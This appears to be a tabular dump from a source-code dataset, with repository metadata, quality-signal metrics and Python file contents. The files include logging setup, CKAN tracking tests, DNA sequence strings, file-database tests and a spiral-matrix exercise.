hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c306322e62361e8076898144fbc2d0339c8d1219 | 142 | py | Python | __init__.py | threatlead/amazonscraper | f8b520cfcadf661c0ce587dcbbd3581e8b094b4a | [
"MIT"
] | null | null | null | __init__.py | threatlead/amazonscraper | f8b520cfcadf661c0ce587dcbbd3581e8b094b4a | [
"MIT"
] | null | null | null | __init__.py | threatlead/amazonscraper | f8b520cfcadf661c0ce587dcbbd3581e8b094b4a | [
"MIT"
] | null | null | null | from .amazonscraper import AmazonScraper
import logging
from logging import NullHandler
logging.getLogger(__name__).addHandler(NullHandler()) | 28.4 | 53 | 0.859155 | 15 | 142 | 7.866667 | 0.533333 | 0.322034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.077465 | 142 | 5 | 53 | 28.4 | 0.900763 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c30fb705ed6359604b11a06d43058bde6e49aa31 | 71 | py | Python | util/__init__.py | QuietWoods/patent-rewrite | 3bf85a3a5a0dfc7caaf602fc32fe3b727da01944 | [
"Apache-2.0"
] | 136 | 2017-04-13T09:08:12.000Z | 2022-01-10T21:27:31.000Z | util/__init__.py | chanhomer/PatentCrawler | 5cdc022daa949caeb430ad1d37b6178ca72522cf | [
"Apache-2.0"
] | 11 | 2017-08-14T09:27:32.000Z | 2018-06-06T12:33:26.000Z | util/__init__.py | siyuanCai/patent-crawler | 4d5c69de7286ab2723a2421314a8a9058ee57d99 | [
"Apache-2.0"
] | 75 | 2017-04-16T09:53:34.000Z | 2022-03-30T03:04:59.000Z | # -*- coding: utf-8 -*-
"""
Created on 2017/3/24
@author: will4906
""" | 11.833333 | 23 | 0.56338 | 10 | 71 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.20339 | 0.169014 | 71 | 6 | 24 | 11.833333 | 0.474576 | 0.873239 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c3104c388ae11dc9fd01d7450afdccf0852803c2 | 23,836 | py | Python | ckan/tests/legacy/functional/test_tracking.py | ziveo/ckan | f4cfe5e28789df58b2bf7e73e5989ffda00e5c5c | [
"Apache-2.0"
] | 1 | 2020-01-16T10:46:18.000Z | 2020-01-16T10:46:18.000Z | ckan/tests/legacy/functional/test_tracking.py | ziveo/ckan | f4cfe5e28789df58b2bf7e73e5989ffda00e5c5c | [
"Apache-2.0"
] | null | null | null | ckan/tests/legacy/functional/test_tracking.py | ziveo/ckan | f4cfe5e28789df58b2bf7e73e5989ffda00e5c5c | [
"Apache-2.0"
] | null | null | null | # encoding: utf-8
"""Functional tests for CKAN's builtin page view tracking feature."""
import tempfile
import csv
import datetime
import pytest
from ckan.lib.helpers import url_for
import ckan.tests.legacy as tests
@pytest.mark.usefixtures("clean_db")
class TestTracking(object):
def _create_sysadmin(self, app)... | 38.321543 | 79 | 0.605806 | 2,903 | 23,836 | 4.776783 | 0.099897 | 0.086536 | 0.039374 | 0.049326 | 0.804284 | 0.771544 | 0.751641 | 0.743997 | 0.730944 | 0.708589 | 0 | 0.022855 | 0.289604 | 23,836 | 621 | 80 | 38.383253 | 0.796079 | 0.146795 | 0 | 0.555305 | 0 | 0 | 0.233734 | 0 | 0 | 0 | 0 | 0.004831 | 0.133183 | 1 | 0.047404 | false | 0.002257 | 0.031603 | 0 | 0.090293 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c32d4c6842ac902d59a165fe429e3aa161c514f2 | 25 | py | Python | iupdatable/logging/statistics/__init__.py | IUpdatable/PyIUpdatable | 16ec28553a09b80021898403ff6411468ff31998 | [
"MIT"
] | null | null | null | iupdatable/logging/statistics/__init__.py | IUpdatable/PyIUpdatable | 16ec28553a09b80021898403ff6411468ff31998 | [
"MIT"
] | null | null | null | iupdatable/logging/statistics/__init__.py | IUpdatable/PyIUpdatable | 16ec28553a09b80021898403ff6411468ff31998 | [
"MIT"
] | null | null | null | from .UMeng import UMeng
| 12.5 | 24 | 0.8 | 4 | 25 | 5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16 | 25 | 1 | 25 | 25 | 0.952381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c33526a8795dadc03fb65828851d464ee5ea13fc | 106 | py | Python | solutions/01_1_solutions.py | glemaitre/pyparis-2018-sklearn | 2ef0158aa13babb2d7317cea0e8930bd7ad145b2 | [
"CC0-1.0"
] | 71 | 2018-11-13T13:29:24.000Z | 2021-07-03T15:47:37.000Z | solutions/01_1_solutions.py | JL1829/pyparis-2018-sklearn | 2ef0158aa13babb2d7317cea0e8930bd7ad145b2 | [
"CC0-1.0"
] | 1 | 2018-11-14T22:22:17.000Z | 2018-11-14T22:22:17.000Z | solutions/01_1_solutions.py | JL1829/pyparis-2018-sklearn | 2ef0158aa13babb2d7317cea0e8930bd7ad145b2 | [
"CC0-1.0"
] | 20 | 2018-11-08T15:43:19.000Z | 2022-01-14T08:32:29.000Z | from sklearn.datasets import load_breast_cancer
X_breast, y_breast = load_breast_cancer(return_X_y=True)
| 26.5 | 56 | 0.858491 | 18 | 106 | 4.611111 | 0.611111 | 0.240964 | 0.385542 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084906 | 106 | 3 | 57 | 35.333333 | 0.85567 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
c35ddc2af056007c044d07c1c19984a98c5119e3 | 58 | py | Python | src/d006/a.py | Yangfan2016/learn-python | 84a375cda9d51349ae0a0faf1dc6444ac83ed948 | [
"MIT"
] | null | null | null | src/d006/a.py | Yangfan2016/learn-python | 84a375cda9d51349ae0a0faf1dc6444ac83ed948 | [
"MIT"
] | null | null | null | src/d006/a.py | Yangfan2016/learn-python | 84a375cda9d51349ae0a0faf1dc6444ac83ed948 | [
"MIT"
] | null | null | null | def f1():
print("a f1")
def f2():
print("a f2")
| 8.285714 | 17 | 0.448276 | 10 | 58 | 2.6 | 0.5 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 0.310345 | 58 | 6 | 18 | 9.666667 | 0.55 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
5ee5040787d3c0f8d0f9a39829e8604dfd8e97bc | 28 | py | Python | python/testData/intentions/PyConvertFormatOperatorToMethodIntentionTest/starWidthPrecision.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/intentions/PyConvertFormatOperatorToMethodIntentionTest/starWidthPrecision.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/intentions/PyConvertFormatOperatorToMethodIntentionTest/starWidthPrecision.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | s = '%*.*f' % (5, 2, 2.7182) | 28 | 28 | 0.321429 | 6 | 28 | 1.5 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.318182 | 0.214286 | 28 | 1 | 28 | 28 | 0.090909 | 0 | 0 | 0 | 0 | 0 | 0.172414 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
6f6f7e2d650ff24de455633ced7f726a3f2a0dbe | 9,140 | py | Python | GSM_model/Groningen_sequences.py | Schwebus/DTU_Biobuilders_2021 | 13fd78eb7516c401cc98f13ff878be3607521cef | [
"MIT"
] | null | null | null | GSM_model/Groningen_sequences.py | Schwebus/DTU_Biobuilders_2021 | 13fd78eb7516c401cc98f13ff878be3607521cef | [
"MIT"
] | null | null | null | GSM_model/Groningen_sequences.py | Schwebus/DTU_Biobuilders_2021 | 13fd78eb7516c401cc98f13ff878be3607521cef | [
"MIT"
] | 1 | 2021-07-02T09:16:06.000Z | 2021-07-02T09:16:06.000Z | A_oryzae_dna = 'GCATCGTCTCATCGGTCTCATATGATGGTTGCTTGGTGGTCTTTATTCTTGTACGGTTTGCAAGTTGCTGCTCCAGCTTTAGCCGCCACTCCTGCTGACTGGCGTTCTCAATCCATCTACTTCTTGTTGACTGACAGATTCGCTCGTACTGATGGGTCAACCACCGCTACTTGTAACACTGCTGACCAAAAGTACTGTGGTGGTACTTGGCAAGGTATCATCGACAAGTTGGACTATATTCAAGGTATGGGTTTCACCGCTATCTGGATTACTCCAGTCACTGCTCAATTGCCACAAACAACTG... | 481.052632 | 2,044 | 0.993654 | 32 | 9,140 | 283.3125 | 0.5 | 0.001544 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00372 | 9,140 | 18 | 2,045 | 507.777778 | 0.995607 | 0 | 0 | 0 | 0 | 0 | 0.977656 | 0.977656 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
48d570c12832b079d98788c57ae87badac43f09e | 22,671 | py | Python | __tests__/test_part1.py | manasveesaraf/lumfunc | 7c286ef391525cf8fb27148db1eacdfbc2dfa8b4 | [
"MIT"
] | null | null | null | __tests__/test_part1.py | manasveesaraf/lumfunc | 7c286ef391525cf8fb27148db1eacdfbc2dfa8b4 | [
"MIT"
] | 4 | 2020-08-24T19:55:52.000Z | 2020-09-21T19:23:35.000Z | __tests__/test_part1.py | manasveesaraf/lumfunc | 7c286ef391525cf8fb27148db1eacdfbc2dfa8b4 | [
"MIT"
] | null | null | null | """This file tests the following functions:
* get_maggy
* get_maggy_inv_var
* get_obs_maggies_file
* get_rec_maggies_files
* get_rest_maggy_ratio_file
* get_rest_mag
"""
# -----------------------
# Package Imports
# -----------------------
import math
import numpy as np
import pandas as ... | 55.977778 | 125 | 0.696088 | 3,361 | 22,671 | 4.141029 | 0.051473 | 0.11927 | 0.101164 | 0.072424 | 0.899483 | 0.875557 | 0.850553 | 0.805935 | 0.743641 | 0.733295 | 0 | 0.043388 | 0.192801 | 22,671 | 405 | 126 | 55.977778 | 0.717158 | 0.2924 | 0 | 0.414938 | 0 | 0 | 0.054899 | 0.033518 | 0 | 0 | 0 | 0 | 0.174274 | 1 | 0.041494 | false | 0 | 0.029046 | 0 | 0.070539 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
48f863fdd654eeeb36313ececf29bfa09554eb43 | 104 | py | Python | testprojects/tests/python/pants/dummies/test_with_source_dep_absolute_import.py | anthonyjpratti/pants | d98e53af6ddd877861231bce8343f8204da0a9d1 | [
"Apache-2.0"
] | 1 | 2020-08-26T03:30:31.000Z | 2020-08-26T03:30:31.000Z | testprojects/tests/python/pants/dummies/test_with_source_dep_absolute_import.py | anthonyjpratti/pants | d98e53af6ddd877861231bce8343f8204da0a9d1 | [
"Apache-2.0"
] | 1 | 2019-07-29T16:58:21.000Z | 2019-07-29T16:58:21.000Z | testprojects/tests/python/pants/dummies/test_with_source_dep_absolute_import.py | anthonyjpratti/pants | d98e53af6ddd877861231bce8343f8204da0a9d1 | [
"Apache-2.0"
] | null | null | null | from pants.dummies.example_source import add_two
def test_external_method():
assert add_two(2) == 4
| 17.333333 | 48 | 0.778846 | 17 | 104 | 4.470588 | 0.882353 | 0.157895 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022222 | 0.134615 | 104 | 5 | 49 | 20.8 | 0.822222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5b168dd830e9e39ec1466ce3e78d4a8207e88096 | 35 | py | Python | pdf_struct/export/__init__.py | koreyou/pdf-struct | 2a1549f21e63c9291f4daf62d7832b87ab20f7fd | [
"Apache-2.0"
] | 10 | 2021-11-08T14:40:23.000Z | 2022-03-29T13:57:33.000Z | pdf_struct/export/__init__.py | koreyou/pdf-struct | 2a1549f21e63c9291f4daf62d7832b87ab20f7fd | [
"Apache-2.0"
] | 1 | 2022-03-04T11:48:16.000Z | 2022-03-09T15:43:36.000Z | pdf_struct/export/__init__.py | koreyou/pdf-struct | 2a1549f21e63c9291f4daf62d7832b87ab20f7fd | [
"Apache-2.0"
] | 4 | 2021-12-25T22:12:06.000Z | 2022-03-13T17:44:10.000Z | from pdf_struct.export import hocr
| 17.5 | 34 | 0.857143 | 6 | 35 | 4.833333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 0.935484 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d2b00854324fc1af6ba715820de61ff7fb69ddf3 | 31,974 | py | Python | tethysext/atcore/tests/integrated_tests/services/file_database/file_database_client_tests.py | Aquaveo/tethysext-atcore | 7a83ccea24fdbbe806f12154f938554dd6c8015f | [
"BSD-3-Clause"
] | 3 | 2020-11-05T23:50:47.000Z | 2021-02-26T21:43:29.000Z | tethysext/atcore/tests/integrated_tests/services/file_database/file_database_client_tests.py | Aquaveo/tethysext-atcore | 7a83ccea24fdbbe806f12154f938554dd6c8015f | [
"BSD-3-Clause"
] | 7 | 2020-10-29T16:53:49.000Z | 2021-05-07T19:46:47.000Z | tethysext/atcore/tests/integrated_tests/services/file_database/file_database_client_tests.py | Aquaveo/tethysext-atcore | 7a83ccea24fdbbe806f12154f938554dd6c8015f | [
"BSD-3-Clause"
] | null | null | null | import os
import shutil
from unittest import mock
import uuid
from tethysext.atcore.exceptions import FileDatabaseNotFoundError, FileCollectionNotFoundError, UnboundFileDatabaseError
from tethysext.atcore.services.file_database import FileCollectionClient, FileDatabaseClient
from tethysext.atcore.models.file_database ... | 53.737815 | 120 | 0.681304 | 3,846 | 31,974 | 5.366875 | 0.060582 | 0.076062 | 0.032944 | 0.033768 | 0.871276 | 0.833245 | 0.805533 | 0.777094 | 0.748462 | 0.740274 | 0 | 0.047735 | 0.205917 | 31,974 | 594 | 121 | 53.828283 | 0.765223 | 0.05714 | 0 | 0.58498 | 0 | 0 | 0.162604 | 0.090669 | 0 | 0 | 0 | 0 | 0.140316 | 1 | 0.071146 | false | 0 | 0.017787 | 0 | 0.094862 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d2b0ef2d35c98dfec84149b8f7d02647607661af | 6,651 | py | Python | test/test_editor.py | Scotsguy/MCArchive | 89847bab722c6782fa53c7b11ee83f1f5b2d9f05 | [
"MIT"
] | null | null | null | test/test_editor.py | Scotsguy/MCArchive | 89847bab722c6782fa53c7b11ee83f1f5b2d9f05 | [
"MIT"
] | null | null | null | test/test_editor.py | Scotsguy/MCArchive | 89847bab722c6782fa53c7b11ee83f1f5b2d9f05 | [
"MIT"
] | null | null | null | """
This module contains basic tests that make sure all the pages in the `mods` module render without
major problems.
"""
from flask import url_for
from mcarch.model.mod import Mod, ModVersion, ModFile
from mcarch.model.mod.draft import DraftMod, DraftModVersion, DraftModFile
from mcarch.model.user import User
from h... | 41.56875 | 97 | 0.71072 | 1,000 | 6,651 | 4.508 | 0.112 | 0.119787 | 0.169698 | 0.149068 | 0.802573 | 0.778838 | 0.767746 | 0.750665 | 0.734472 | 0.734472 | 0 | 0.002851 | 0.156067 | 6,651 | 159 | 98 | 41.830189 | 0.800285 | 0.054127 | 0 | 0.525424 | 0 | 0 | 0.114919 | 0.006694 | 0 | 0 | 0 | 0.006289 | 0.161017 | 1 | 0.110169 | false | 0 | 0.042373 | 0 | 0.161017 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d2e5fda01e6a67c4b3fe057c155b0d3126980912 | 439 | py | Python | iridauploader/model/__init__.py | COMBAT-SARS-COV-2/irida-uploader | b9d04d187d6a5a9fdcaef5b27135965ffac99db0 | [
"Apache-2.0"
] | 7 | 2019-01-25T16:56:11.000Z | 2021-01-12T15:32:08.000Z | iridauploader/model/__init__.py | COMBAT-SARS-COV-2/irida-uploader | b9d04d187d6a5a9fdcaef5b27135965ffac99db0 | [
"Apache-2.0"
] | 80 | 2019-01-29T14:54:26.000Z | 2022-03-25T18:51:51.000Z | iridauploader/model/__init__.py | COMBAT-SARS-COV-2/irida-uploader | b9d04d187d6a5a9fdcaef5b27135965ffac99db0 | [
"Apache-2.0"
] | 9 | 2019-03-14T09:58:05.000Z | 2022-01-06T20:14:45.000Z | from iridauploader.model.sequencing_run import SequencingRun
from iridauploader.model.metadata import Metadata
from iridauploader.model.project import Project
from iridauploader.model.sample import Sample
from iridauploader.model.sequence_file import SequenceFile
from iridauploader.model.directory_status import Directo... | 48.777778 | 66 | 0.892938 | 51 | 439 | 7.607843 | 0.392157 | 0.350515 | 0.453608 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.072893 | 439 | 8 | 67 | 54.875 | 0.953317 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
960660456fd6d635e92d223aa55f6e6be63a677b | 137 | py | Python | basics/mod_divmod.py | karinakozarova/Learning-Python | 217dfc8ca6931a238445daf0b84e188c02916c52 | [
"MIT"
] | 1 | 2019-04-07T23:14:29.000Z | 2019-04-07T23:14:29.000Z | basics/mod_divmod.py | karinakozarova/Learning-Python | 217dfc8ca6931a238445daf0b84e188c02916c52 | [
"MIT"
] | null | null | null | basics/mod_divmod.py | karinakozarova/Learning-Python | 217dfc8ca6931a238445daf0b84e188c02916c52 | [
"MIT"
] | null | null | null | first = int(input())
second = int(input())
mod = str(divmod(first,second))
print(str(first//second))
print(str(first%second))
print(mod) | 19.571429 | 31 | 0.70073 | 21 | 137 | 4.571429 | 0.380952 | 0.34375 | 0.5 | 0.395833 | 0.5625 | 0.5625 | 0.5625 | 0 | 0 | 0 | 0 | 0 | 0.087591 | 137 | 7 | 32 | 19.571429 | 0.768 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
824dd4ddfc14b29a597268b1f4b947137035d55f | 3,770 | py | Python | 31_顺时针打印矩阵.py | wode1/-offer-python- | 22cb55b7a89f48c7d3686f0a7a822c16ff3976f1 | [
"Apache-2.0"
] | null | null | null | 31_顺时针打印矩阵.py | wode1/-offer-python- | 22cb55b7a89f48c7d3686f0a7a822c16ff3976f1 | [
"Apache-2.0"
] | null | null | null | 31_顺时针打印矩阵.py | wode1/-offer-python- | 22cb55b7a89f48c7d3686f0a7a822c16ff3976f1 | [
"Apache-2.0"
] | null | null | null |
'''
输入一个矩阵,按照从外向里以顺时针的顺序依次打印出每一个数字,
例如,如果输入如下矩阵:
[[ 1, 2, 3, 4],
[ 5, 6, 7, 8],
[ 9, 10, 11, 12],
[13, 14, 15, 16]]
则依次打印出数字 1,2,3,4,8,12,16,15,14,13,9,5,6,7,11,10.
'''
class Solution(object):
# matrix类型为二维列表,需要返回矩阵
def printMatrix(self, matrix):
if matrix==None:
return
rows=len(matrix) # 行数
